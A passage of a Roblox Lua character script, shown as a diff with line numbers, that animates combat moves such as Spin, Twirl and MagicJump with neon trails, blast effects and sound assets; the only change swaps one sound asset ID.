3483 | swait() | |
3484 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
3485 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3) | |
3486 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3487 | Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2) | |
3488 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3489 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3) | |
3490 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3491 | end | |
3492 | --dmgstop() | |
3493 | attack=false | |
3494 | con1:disconnect() | |
3495 | if TrailDeb == true then | |
3496 | TrailDeb = false | |
3497 | end | |
3498 | end | |
3499 | ||
3500 | function attackfour() | |
3501 | attack=true | |
3502 | if TrailDeb == false then | |
3503 | TrailDeb = true | |
3504 | end | |
3505 | ||
3506 | ||
3507 | coroutine.wrap(function() | |
3508 | local Old = Handle2.CFrame.p | |
3509 | while wait()do | |
3510 | if not TrailDeb then break end | |
3511 | local New = Handle2.CFrame.p | |
3512 | local Mag =(Old -New).magnitude | |
3513 | local Dis =(Old +New)/2 | |
3514 | local Trail = Instance.new("Part",Character) | |
3515 | Trail.Material = "Neon" | |
3516 | Trail.Anchored = true | |
3517 | Trail.CanCollide = false | |
3518 | Trail.BrickColor = TorsoColor | |
3519 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3520 | Trail.TopSurface = 0 | |
3521 | Trail.BottomSurface = 0 | |
3522 | Trail.formFactor = "Custom" | |
3523 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3524 | local ms = Instance.new("BlockMesh",Trail) | |
3525 | ms.Scale = Vector3.new(1,1,1) | |
3526 | local TM = Instance.new("CylinderMesh",Trail) | |
3527 | TM.Scale = Vector3.new(1,1,1) | |
3528 | Old = New | |
3529 | coroutine.wrap(function() | |
3530 | for i = 1,0,-0.1 do | |
3531 | wait() | |
3532 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3533 | end | |
3534 | Trail:remove() | |
3535 | end)() | |
3536 | coroutine.wrap(function() | |
3537 | for i = 1,10 do | |
3538 | wait() | |
3539 | Trail.Transparency = Trail.Transparency +0.1 | |
3540 | end end)()end end)() | |
3541 | coroutine.wrap(function() | |
3542 | local Old = Handle.CFrame.p | |
3543 | while wait()do | |
3544 | if not TrailDeb then break end | |
3545 | local New = Handle.CFrame.p | |
3546 | local Mag =(Old -New).magnitude | |
3547 | local Dis =(Old +New)/2 | |
3548 | local Trail = Instance.new("Part",Character) | |
3549 | Trail.Material = "Neon" | |
3550 | Trail.Anchored = true | |
3551 | Trail.CanCollide = false | |
3552 | Trail.BrickColor = TorsoColor | |
3553 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3554 | Trail.TopSurface = 0 | |
3555 | Trail.BottomSurface = 0 | |
3556 | Trail.formFactor = "Custom" | |
3557 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3558 | local ms = Instance.new("BlockMesh",Trail) | |
3559 | ms.Scale = Vector3.new(1,1,1) | |
3560 | local TM = Instance.new("CylinderMesh",Trail) | |
3561 | TM.Scale = Vector3.new(1,1,1) | |
3562 | Old = New | |
3563 | coroutine.wrap(function() | |
3564 | for i = 1,0,-0.1 do | |
3565 | wait() | |
3566 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3567 | end | |
3568 | Trail:remove() | |
3569 | end)() | |
3570 | coroutine.wrap(function() | |
3571 | for i = 1,10 do | |
3572 | wait() | |
3573 | Trail.Transparency = Trail.Transparency +0.1 | |
3574 | end end)()end end)() | |
3575 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3576 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3577 | for i=0,1,0.08 do | |
3578 | swait() | |
3579 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3580 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3581 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3582 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3583 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3584 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3585 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3586 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3587 | end | |
3588 | if anim then | |
3589 | anim.Disabled=true | |
3590 | end | |
3591 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) | |
3592 | - | so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) |
3592 | + | so("http://www.roblox.com/asset/?id=430315987",Torso,1,1) |
3593 | for i=0,1,0.04 do | |
3594 | swait() | |
3595 | Torso.Velocity=RootPart.CFrame.lookVector*50 | |
3596 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3) | |
3597 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3598 | Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3599 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3600 | RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3601 | LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3602 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3603 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3604 | end | |
3605 | --dmgstop() | |
3606 | attack=false | |
3607 | con1:disconnect() | |
3608 | con2:disconnect() | |
3609 | if anim then | |
3610 | anim.Disabled=false | |
3611 | end | |
3612 | if TrailDeb == true then | |
3613 | TrailDeb = false | |
3614 | end | |
3615 | end | |
3616 | ||
3617 | function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2) | |
3618 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3619 | prt.Anchored = true | |
3620 | prt.CFrame = cframe | |
3621 | local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1)) | |
3622 | coroutine.resume(coroutine.create(function() | |
3623 | for i = 0, 1, 0.05 do | |
3624 | wait() | |
3625 | prt.Transparency = i | |
3626 | msh.Scale = msh.Scale + vt(x2, y2, z2) | |
3627 | end | |
3628 | prt.Parent = nil | |
3629 | end)) | |
3630 | end | |
3631 | ||
3632 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
3633 | for _, c in pairs(workspace:children()) do | |
3634 | local hum = c:findFirstChild("Humanoid") | |
3635 | if hum ~= nil then | |
3636 | local head = c:findFirstChild("Torso") | |
3637 | if head ~= nil then | |
3638 | local targ = head.Position - Part.Position | |
3639 | local mag = targ.magnitude | |
3640 | if mag <= magni and c.Name ~= Player.Name then | |
3641 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
3642 | end | |
3643 | end | |
3644 | end | |
3645 | end | |
3646 | end | |
3647 | ||
3648 | function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) | |
3649 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3650 | prt.Anchored = true | |
3651 | prt.CFrame = cframe | |
3652 | local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) | |
3653 | game:GetService("Debris"):AddItem(prt, 2) | |
3654 | coroutine.resume(coroutine.create(function(Part, Mesh) | |
3655 | for i = 0, 1, delay do | |
3656 | swait() | |
3657 | Part.CFrame = Part.CFrame | |
3658 | Part.Transparency = i | |
3659 | Mesh.Scale = Mesh.Scale + vt(x3, y3, z3) | |
3660 | end | |
3661 | Part.Parent = nil | |
3662 | end), prt, msh) | |
3663 | end | |
3664 | ||
3665 | function MagicJump() | |
3666 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
3667 | attack=true | |
3668 | mana=mana-25 | |
3669 | --[[ Humanoid.WalkSpeed = 0 | |
3670 | for i=0,1,0.01 do | |
3671 | swait() | |
3672 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1) | |
3673 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1) | |
3674 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
3675 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1) | |
3676 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1) | |
3677 | RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1) | |
3678 | LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1) | |
3679 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1) | |
3680 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1) | |
3681 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1) | |
3682 | end]]-- | |
3683 | Humanoid.Jump = true | |
3684 | Torso.Velocity = vt(0, 150, 0) | |
3685 | Humanoid.WalkSpeed = 64 | |
3686 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3687 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3688 | for i=0,1,0.05 do | |
3689 | swait() | |
3690 | Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3) | |
3691 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3692 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3) | |
3693 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3694 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
3695 | RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
3696 | LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
3697 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
3698 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2) | |
3699 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2) | |
3700 | end | |
3701 | for i=0,1,0.02 do | |
3702 | swait() | |
3703 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
3704 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3705 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
3706 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
3707 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3708 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
3709 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3710 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
3711 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
3712 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3713 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3714 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3715 | end | |
3716 | Humanoid.WalkSpeed = 0 | |
3717 | swait(8) | |
3718 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3719 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3720 | local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character) | |
3721 | if hit~=nil then | |
3722 | swait(2) | |
3723 | local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt()) | |
3724 | ref.Anchored=true | |
3725 | ref.CFrame=cf(pos) | |
3726 | game:GetService("Debris"):AddItem(ref,3) | |
3727 | for i=1,10 do | |
3728 | local Col=BrickColor.new("Really black") | |
3729 | local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3730 | groundpart.Anchored=true | |
3731 | groundpart.CanCollide=false | |
3732 | groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3733 | local Col2=TorsoColor | |
3734 | local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3735 | groundpart2.Anchored=true | |
3736 | groundpart2.CanCollide=false | |
3737 | groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3738 | game:GetService("Debris"):AddItem(groundpart,5) | |
3739 | game:GetService("Debris"):AddItem(groundpart2,5) | |
3740 | end | |
3741 | BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4) | |
3742 | BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2) | |
3743 | MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05) | |
3744 | MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05) | |
3745 | for i=0,1,0.06 do | |
3746 | swait() | |
3747 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3) | |
3748 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3749 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3) | |
3750 | RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3) | |
3751 | LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3) | |
3752 | RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3753 | LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3754 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3755 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3756 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3757 | end | |
3758 | end | |
3759 | swait(20) | |
3760 | Humanoid.WalkSpeed = 12 | |
3761 | --dmgstop() | |
3762 | attack=false | |
3763 | end | |
3764 | end | |
3765 | ||
3766 | function Spin() | |
3767 | attack=true | |
3768 | mana=mana-40 | |
3769 | if TrailDeb == false then | |
3770 | TrailDeb = true | |
3771 | end | |
3772 | ||
3773 | coroutine.wrap(function() | |
3774 | local Old = Handle2.CFrame.p | |
3775 | while wait()do | |
3776 | if not TrailDeb then break end | |
3777 | local New = Handle2.CFrame.p | |
3778 | local Mag =(Old -New).magnitude | |
3779 | local Dis =(Old +New)/2 | |
3780 | local Trail = Instance.new("Part",Character) | |
3781 | Trail.Material = "Neon" | |
3782 | Trail.Anchored = true | |
3783 | Trail.CanCollide = false | |
3784 | Trail.BrickColor = TorsoColor | |
3785 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3786 | Trail.TopSurface = 0 | |
3787 | Trail.BottomSurface = 0 | |
3788 | Trail.formFactor = "Custom" | |
3789 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3790 | local ms = Instance.new("BlockMesh",Trail) | |
3791 | ms.Scale = Vector3.new(1,1,1) | |
3792 | local TM = Instance.new("CylinderMesh",Trail) | |
3793 | TM.Scale = Vector3.new(1,1,1) | |
3794 | Old = New | |
3795 | coroutine.wrap(function() | |
3796 | for i = 1,0,-0.1 do | |
3797 | wait() | |
3798 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3799 | end | |
3800 | Trail:remove() | |
3801 | end)() | |
3802 | coroutine.wrap(function() | |
3803 | for i = 1,10 do | |
3804 | wait() | |
3805 | Trail.Transparency = Trail.Transparency +0.1 | |
3806 | end end)()end end)() | |
3807 | coroutine.wrap(function() | |
3808 | local Old = Handle.CFrame.p | |
3809 | while wait()do | |
3810 | if not TrailDeb then break end | |
3811 | local New = Handle.CFrame.p | |
3812 | local Mag =(Old -New).magnitude | |
3813 | local Dis =(Old +New)/2 | |
3814 | local Trail = Instance.new("Part",Character) | |
3815 | Trail.Material = "Neon" | |
3816 | Trail.Anchored = true | |
3817 | Trail.CanCollide = false | |
3818 | Trail.BrickColor = TorsoColor | |
3819 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3820 | Trail.TopSurface = 0 | |
3821 | Trail.BottomSurface = 0 | |
3822 | Trail.formFactor = "Custom" | |
3823 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3824 | local ms = Instance.new("BlockMesh",Trail) | |
3825 | ms.Scale = Vector3.new(1,1,1) | |
3826 | local TM = Instance.new("CylinderMesh",Trail) | |
3827 | TM.Scale = Vector3.new(1,1,1) | |
3828 | Old = New | |
3829 | coroutine.wrap(function() | |
3830 | for i = 1,0,-0.1 do | |
3831 | wait() | |
3832 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3833 | end | |
3834 | Trail:remove() | |
3835 | end)() | |
3836 | coroutine.wrap(function() | |
3837 | for i = 1,10 do | |
3838 | wait() | |
3839 | Trail.Transparency = Trail.Transparency +0.1 | |
3840 | end end)()end end)() | |
3841 | Footsteps:Stop() | |
3842 | Footsteps2:Stop() | |
3843 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3844 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3845 | so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) | |
3846 | for i=0,1,0.1 do | |
3847 | swait() | |
3848 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3849 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3850 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3851 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3852 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3853 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3854 | end | |
3855 | if anim then | |
3856 | anim.Disabled=true | |
3857 | end | |
3858 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3859 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3860 | for i=0,1,0.05 do | |
3861 | swait() | |
3862 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3863 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3864 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3865 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3866 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3867 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3868 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3869 | end | |
3870 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3871 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3872 | for i=0,1,0.05 do | |
3873 | swait() | |
3874 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3875 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3876 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3877 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3878 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3879 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3880 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3881 | end | |
3882 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3883 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3884 | for i=0,1,0.05 do | |
3885 | swait() | |
3886 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3887 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3888 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3889 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3890 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3891 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3892 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3893 | end | |
3894 | --dmgstop() | |
3895 | Humanoid.WalkSpeed=12 | |
3896 | attack=false | |
3897 | con1:disconnect() | |
3898 | con2:disconnect() | |
3899 | if anim then | |
3900 | anim.Disabled=false | |
3901 | end | |
3902 | if TrailDeb == true then | |
3903 | TrailDeb = false | |
3904 | end | |
3905 | end | |
3906 | ||
3907 | function Twirl() | |
3908 | mana=mana-50 | |
3909 | attack=true | |
3910 | if TrailDeb == false then | |
3911 | TrailDeb = true | |
3912 | end | |
3913 | ||
3914 | ||
3915 | coroutine.wrap(function() | |
3916 | local Old = Handle2.CFrame.p | |
3917 | while wait()do | |
3918 | if not TrailDeb then break end | |
3919 | local New = Handle2.CFrame.p | |
3920 | local Mag =(Old -New).magnitude | |
3921 | local Dis =(Old +New)/2 | |
3922 | local Trail = Instance.new("Part",Character) | |
3923 | Trail.Material = "Neon" | |
3924 | Trail.Anchored = true | |
3925 | Trail.CanCollide = false | |
3926 | Trail.BrickColor = TorsoColor | |
3927 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3928 | Trail.TopSurface = 0 | |
3929 | Trail.BottomSurface = 0 | |
3930 | Trail.formFactor = "Custom" | |
3931 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3932 | local ms = Instance.new("BlockMesh",Trail) | |
3933 | ms.Scale = Vector3.new(1,1,1) | |
3934 | local TM = Instance.new("CylinderMesh",Trail) | |
3935 | TM.Scale = Vector3.new(1,1,1) | |
3936 | Old = New | |
3937 | coroutine.wrap(function() | |
3938 | for i = 1,0,-0.1 do | |
3939 | wait() | |
3940 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3941 | end | |
3942 | Trail:remove() | |
3943 | end)() | |
3944 | coroutine.wrap(function() | |
3945 | for i = 1,10 do | |
3946 | wait() | |
3947 | Trail.Transparency = Trail.Transparency +0.1 | |
3948 | end end)()end end)() | |
3949 | coroutine.wrap(function() | |
3950 | local Old = Handle.CFrame.p | |
3951 | while wait()do | |
3952 | if not TrailDeb then break end | |
3953 | local New = Handle.CFrame.p | |
3954 | local Mag =(Old -New).magnitude | |
3955 | local Dis =(Old +New)/2 | |
3956 | local Trail = Instance.new("Part",Character) | |
3957 | Trail.Material = "Neon" | |
3958 | Trail.Anchored = true | |
3959 | Trail.CanCollide = false | |
3960 | Trail.BrickColor = TorsoColor | |
3961 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3962 | Trail.TopSurface = 0 | |
3963 | Trail.BottomSurface = 0 | |
3964 | Trail.formFactor = "Custom" | |
3965 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3966 | local ms = Instance.new("BlockMesh",Trail) | |
3967 | ms.Scale = Vector3.new(1,1,1) | |
3968 | local TM = Instance.new("CylinderMesh",Trail) | |
3969 | TM.Scale = Vector3.new(1,1,1) | |
3970 | Old = New | |
3971 | coroutine.wrap(function() | |
3972 | for i = 1,0,-0.1 do | |
3973 | wait() | |
3974 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3975 | end | |
3976 | Trail:remove() | |
3977 | end)() | |
3978 | coroutine.wrap(function() | |
3979 | for i = 1,10 do | |
3980 | wait() | |
3981 | Trail.Transparency = Trail.Transparency +0.1 | |
3982 | end end)()end end)() | |
3983 | Footsteps:Stop() | |
3984 | Footsteps2:Stop() | |
3985 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3986 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3987 | so("http://www.roblox.com/asset/?id=159882598",Torso,1,1) | |
3988 | for i=0,1,0.1 do | |
3989 | swait() | |
3990 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3991 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3992 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
